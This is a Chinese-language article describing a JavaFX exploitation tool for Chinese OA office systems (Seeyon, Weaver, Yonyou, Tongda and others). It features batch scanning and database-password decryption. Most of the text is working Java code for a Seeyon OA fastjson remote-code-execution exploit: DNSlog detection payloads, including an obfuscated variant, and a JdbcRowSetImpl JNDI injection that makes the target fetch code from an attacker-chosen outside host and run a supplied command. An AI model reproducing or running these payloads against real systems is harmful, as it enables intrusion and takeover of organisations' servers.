本文主要介绍基于JavaFX图形化界面开发的快速OA类利用工具。笔者收集和整理了目前工具的OA类验证及其利用的方式和方法,整合成一个方便快捷图形化的快速利用工具。
想要写这个工具的原因,主要是日常工作中,OA漏洞利用总是需要去找无数验证脚本,操作繁琐。为了方便日常渗透测试,简单快捷地进行OA利用渗透,方便团队提升效率,笔者撰写了这款工具。
设计初期,笔者收集和查看了一些师傅所撰写的OA利用相关工具和文章,都是部分漏洞的利用和探测,比较单一。在这个情况下,笔者把现存披露的漏洞利用方式进行了收集整合,目前已经写完致远、泛微、用友、万户、通达、蓝凌。
1设计思路
思路主要是发现、验证、深入利用这几个模块:
漏洞快速发现模块(主要是通过poc或者exp发现漏洞存在与否)-单目标地址;
快速利用支持漏洞上传、回显、命令执行、Dnslog多种类型-单目标地址;
批量验证模块(通过多线程并发调用快速发现模块)-多目标地址;
代理模块(方便调试和代理池使用);
命令执行Java_Runtimebase64编码及其相关命令note;
数据库密文解密(用友NC、蓝凌)。
2实现过程
界面javaFX绘制:
对于poc编写利用过程,这里举例子fastjson简单说明一下:
快速验证模块实现
publicboolean VULcheck(Stringurl) throwsException {
this.target= url;
String path = url +VULURL;
//获取dnslogdomian
String dnslog =DnslogDomain();
if(dnslog.equals("请检查网络")){
this.isVul= false;
}else{
try{
Map<String,String> Headers =new HashMap<String,String>();
Headers.put("Content-Type","application/x-www-form-urlencoded");
Headers.put("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131Safari/537.36");
Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
Headers.put("Connection","close");
String data ="_json_params={\"@type\":\"java.net.Inet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";
String data2 ="_json_params={\"%40type\":\"java\\x2enet\\x2eInet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";
HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000);
HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000);
String ress =result.body();
String ress2 =result2.body();
System.out.println(ress);
System.out.println(ress2);
//获取dnslog记录
String getrecords =DnslogRecords(dnslog.split(",")[0]);
if(getrecords.contains(dnslog.split(",")[1])){
this.isVul= true;
}
return this.isVul;
} catch(Exception e){
System.out.println(e);
throw e;
}
}
return this.isVul;
}
漏洞验证回显
publicString Vulexp(Stringurl,String cmd,String encoding) throwsException {
this.target= url;
String path = this.target+ VULURL;
//获取dnslogdomian
String dnslog =DnslogDomain();
System.out.println(dnslog);
if(dnslog.equals("请检查网络")){
this.isVul= false;
}else{
try{
Map<String,String>Headers=newHashMap<String,String>();
Headers.put("Content-Type","application/x-www-form-urlencoded");
Headers.put("User-Agent","Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/92.0.4515.131 Safari/537.36");
Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
Headers.put("Connection","close");
String data ="_json_params={\"@type\":\"java.net.Inet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";
String data2 ="_json_params={\"%40type\":\"java\\x2enet\\x2eInet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";
HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000);
HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000);
String ress =result.body();
String ress2 =result2.body();
System.out.println(ress);
System.out.println(ress2);
//获取dnslog记录
String getrecords =DnslogRecords(dnslog.split(",")[0]);
String dnsdomain = "原始dnsdomain_host:" +dnslog.split(",")[1];
String dnsrecords ="结果dnsrecords_value:" +getrecords;
if(getrecords.contains(dnslog.split(",")[1])){
returnpath + "存在致远OAfastjson rce \n"+ dnsdomain +"\n"+dnsrecords;
}
return path +"不存在致远OAfastjson rce \n"+ dnsdomain +"\n"+dnsrecords;
} catch(Exception e){
System.out.println(e);
throw e;
}
}
return path +"请检查网络";
}
漏洞进行判断验证回显:
if(OA.contains("SeeyonOA_Fastjson_ChangeLocale_Rce")){
exp =newSeeyonOA_Fastjson_ChangeLocale_Rce();
this.exp= Tools.getExploit(cve);
try {
if(this.exp.VULcheck(url)){
//String result = this.exp.Response(url);
this.basic_info.appendText(url+ " 存在" + cve +"漏洞\r\n"+"-----------检测完毕-----------"+"\r\n");
} else{
this.basic_info.appendText(url+ " 不存在" + cve +"漏洞\r\n"+"-----------检测完毕-----------"+"\r\n");
}
} catch(Exception e){
this.basic_info.appendText("检测异常\r\n"+e.toString()+"\n-----------检测完毕-----------"+"\r\n");
}
}
jndiExec利用:
public StringjndiExec(String url,String jndi,String echo,String encoding) throwsException {
this.target = url;
Stringpath = this.target + VULURL;
//获取dnslogdomian
try {
Map<String,String>Headers=new HashMap<String,String>();
Headers.put("Content-Type","application/x-www-form-urlencoded");
Headers.put("User-Agent","Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/92.0.4515.131 Safari/537.36"); Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
Headers.put("cmd",echo);
Headers.put("Content-Length","243");
String data ="_json_params={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+jndi+"\",\"autoCommit\":true}}";
String data2 ="_json_params={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+jndi+"\",\"autoCommit\":\"true\"}}";
HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000);
HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000);
String ress = result.body();
String ress2= result2.body();
int resp = result.code();
int resp2 = result2.code();
if(resp==200 ||resp2==200){
return path + "存在致远OAfastjson rce \npoc1回显:\n" +ress +"\npoc2回显:\n"+ress2;
}
return path + "不存在致远OAfastjson rce \npoc1回显:\n" +ress +"\npoc2回显:\n"+ress2;
} catch (Exception e) {
System.out.println(e);
throw e;
}
}
以上为漏洞快速发现,验证回显利用,漏洞利用核心实现过程。
